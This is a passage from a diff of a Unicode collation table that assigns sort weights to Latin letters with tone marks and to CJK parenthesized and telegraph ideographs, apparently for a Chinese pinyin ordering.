030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +011A ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON +00E8 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE +00C8 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE +00EA 0304 ; [.1C25.0021.0002] # +00CA 0304 ; [.1C25.0021.0008] # +0065 0302 0304 ; [.1C25.0021.0002] # +0045 0302 0304 ; [.1C25.0021.0008] # +1EBF ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +00EA 0301 ; [.1C25.0022.0002] # +00EA 0341 ; [.1C25.0022.0002] # +00CA 0301 ; [.1C25.0022.0008] # +00CA 0341 ; [.1C25.0022.0008] # +00EA 030C ; [.1C25.0023.0002] # +00CA 030C ; [.1C25.0023.0008] # +0065 0302 030C ; [.1C25.0023.0002] # +0045 0302 030C ; [.1C25.0023.0008] # +1EC1 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +00EA 0300 ; [.1C25.0024.0002] # +00EA 0340 ; [.1C25.0024.0002] # +00CA 0300 ; [.1C25.0024.0008] # +00CA 0340 ; [.1C25.0024.0008] # +00EA ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC5 ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +012B ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON +012A ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON +00ED ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE +01D0 ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON +01CF ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON +00EC ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +00CC ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +006D 0304 ; [.1D25.001C.0002] # +004D 0304 ; [.1D25.001C.0008] # +1E3F ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +1E3E ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +006D 030C ; [.1D25.001E.0002] # +004D 030C ; [.1D25.001E.0008] # +006D 0300 ; [.1D25.001F.0002] # +006D 0340 ; [.1D25.001F.0002] # +004D 0300 ; [.1D25.001F.0008] # +004D 0340 ; [.1D25.001F.0008] # +006E 0304 ; [.1D34.001C.0002] # +004E 0304 ; [.1D34.001C.0008] # +0144 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +0148 ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +0147 ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +01F9 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +01F8 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +014D ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +00F3 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +01D2 ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +01D1 ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +00F2 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +00D2 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +016B ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +00FA ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +01D4 ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +01D3 ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +00F9 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +00D9 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +01D6 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +00FC 0304 ; [.1E30.0021.0002] # +00DC 0304 ; [.1E30.0021.0008] # +01D8 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +00FC 0301 ; [.1E30.0022.0002] # +00FC 0341 ; [.1E30.0022.0002] # +00DC 0301 ; [.1E30.0022.0008] # +00DC 0341 ; [.1E30.0022.0008] # +01DA ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +00FC 030C ; [.1E30.0023.0002] # +00DC 030C ; [.1E30.0023.0008] # +01DC ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +00FC 0300 ; [.1E30.0024.0002] # +00FC 0340 ; [.1E30.0024.0002] # +00DC 0300 ; [.1E30.0024.0008] # +00DC 0340 ; [.1E30.0024.0008] # +00FC ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS FDD0 0041 ; [.8000.0020.0002] # FDD0 0042 ; [.80C5.0020.0002] # FDD0 0043 ; [.8441.0020.0002] # @@ -233,119 +233,119 @@ FDD0 0058 ; [.BE4A.0020.0002] # FDD0 0059 ; [.C382.0020.0002] # FDD0 005A ; [.CB22.0020.0002] # -3220 ; [*0317.0020.0004][.C5CF.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ONE -3226 ; [*0317.0020.0004][.AE03.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN -3222 ; [*0317.0020.0004][.B35F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH THREE -3228 ; [*0317.0020.0004][.9C92.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NINE -3221 ; [*0317.0020.0004][.8E0E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TWO -3224 ; [*0317.0020.0004][.BDF1.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE -3239 ; [*0317.0020.0004][.89B6.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT -323D ; [*0317.0020.0004][.AE82.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE -3241 ; [*0317.0020.0004][.C1F9.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REST -3227 ; [*0317.0020.0004][.80C6.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT -3225 ; [*0317.0020.0004][.A49F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SIX -3238 ; [*0317.0020.0004][.A132.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR -3229 ; [*0317.0020.0004][.B57B.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TEN -323F ; [*0317.0020.0004][.C10A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE -3234 ; [*0317.0020.0004][.A8EB.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NAME -323A ; [*0317.0020.0004][.9589.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CALL -3223 ; [*0317.0020.0004][.B715.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR -322F ; [*0317.0020.0004][.BB2D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH -323B ; [*0317.0020.0004][.C304.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY -3230 ; [*0317.0020.0004][.B272.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUN -322A ; [*0317.0020.0004][.CA96.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH MOON -3232 ; [*0317.0020.0004][.C8D2.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE -322D ; [*0317.0020.0004][.A98A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD -3231 ; [*0317.0020.0004][.CF58.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK -322C ; [*0317.0020.0004][.B6BA.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WATER -322B ; [*0317.0020.0004][.97BC.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE -3235 ; [*0317.0020.0004][.B980.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL -323C ; [*0317.0020.0004][.999B.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE -3233 ; [*0317.0020.0004][.B4AC.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY -3237 ; [*0317.0020.0004][.CFAD.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION -3240 ; [*0317.0020.0004][.98D6.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL -3242 ; [*0317.0020.0004][.D0D4.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SELF -3243 ; [*0317.0020.0004][.CE51.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REACH -3236 ; [*0317.0020.0004][.844F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL -323E ; [*0317.0020.0004][.D0A3.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE -322E ; [*0317.0020.0004][.9B96.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH METAL -3358 ; [.1C3D.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO -33E9 ; [.1C3E.0020.0004][.1C3D.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN -32C9 ; [.1C3E.0020.0004][.1C3D.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER -3362 ; [.1C3E.0020.0004][.1C3D.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN -33EA ; [.1C3E.0020.0004][.1C3E.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN -32CA ; [.1C3E.0020.0004][.1C3E.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER -3363 ; [.1C3E.0020.0004][.1C3E.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN -33EB ; [.1C3E.0020.0004][.1C3F.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE -32CB ; [.1C3E.0020.0004][.1C3F.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER -3364 ; [.1C3E.0020.0004][.1C3F.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE -33EC ; [.1C3E.0020.0004][.1C40.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN -3365 ; [.1C3E.0020.0004][.1C40.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN -33ED ; [.1C3E.0020.0004][.1C41.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN -3366 ; [.1C3E.0020.0004][.1C41.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN -33EE ; [.1C3E.0020.0004][.1C42.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN -3367 ; [.1C3E.0020.0004][.1C42.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN -33EF ; [.1C3E.0020.0004][.1C43.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN -3368 ; [.1C3E.0020.0004][.1C43.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN -33F0 ; [.1C3E.0020.0004][.1C44.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN -3369 ; [.1C3E.0020.0004][.1C44.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN -33F1 ; [.1C3E.0020.0004][.1C45.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN -336A ; [.1C3E.0020.0004][.1C45.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN -33F2 ; [.1C3E.0020.0004][.1C46.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN -336B ; [.1C3E.0020.0004][.1C46.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN -33E0 ; [.1C3E.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE -32C0 ; [.1C3E.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY -3359 ; [.1C3E.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE -33F3 ; [.1C3F.0020.0004][.1C3D.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY -336C ; [.1C3F.0020.0004][.1C3D.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY -33F4 ; [.1C3F.0020.0004][.1C3E.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE -336D ; [.1C3F.0020.0004][.1C3E.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE -33F5 ; [.1C3F.0020.0004][.1C3F.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO -336E ; [.1C3F.0020.0004][.1C3F.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO -33F6 ; [.1C3F.0020.0004][.1C40.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE -336F ; [.1C3F.0020.0004][.1C40.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE -33F7 ; [.1C3F.0020.0004][.1C41.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR -3370 ; [.1C3F.0020.0004][.1C41.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR -33F8 ; [.1C3F.0020.0004][.1C42.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE -33F9 ; [.1C3F.0020.0004][.1C43.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX -33FA ; [.1C3F.0020.0004][.1C44.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN -33FB ; [.1C3F.0020.0004][.1C45.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT -33FC ; [.1C3F.0020.0004][.1C46.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE -33E1 ; [.1C3F.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO -32C1 ; [.1C3F.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY -335A ; [.1C3F.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO -33FD ; [.1C40.0020.0004][.1C3D.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY -33FE ; [.1C40.0020.0004][.1C3E.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE -33E2 ; [.1C40.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE -32C2 ; [.1C40.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH -335B ; [.1C40.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE -33E3 ; [.1C41.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR -32C3 ; [.1C41.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL -335C ; [.1C41.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR -33E4 ; [.1C42.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE -32C4 ; [.1C42.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY -335D ; [.1C42.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE -33E5 ; [.1C43.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX -32C5 ; [.1C43.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE -335E ; [.1C43.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX -33E6 ; [.1C44.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN -32C6 ; [.1C44.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY -335F ; [.1C44.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN -33E7 ; [.1C45.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT -32C7 ; [.1C45.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST -3360 ; [.1C45.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT -33E8 ; [.1C46.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE -32C8 ; [.1C46.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER -3361 ; [.1C46.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE -1F241 ; [*0379.0020.0004][.B35F.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09 -1F242 ; [*0379.0020.0004][.8E0E.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C -1F247 ; [*0379.0020.0004][.B548.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD -1F243 ; [*0379.0020.0004][.8049.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89 -1F245 ; [*0379.0020.0004][.89A6.0020.0004][*037A.0020.0004] # TORTOISE 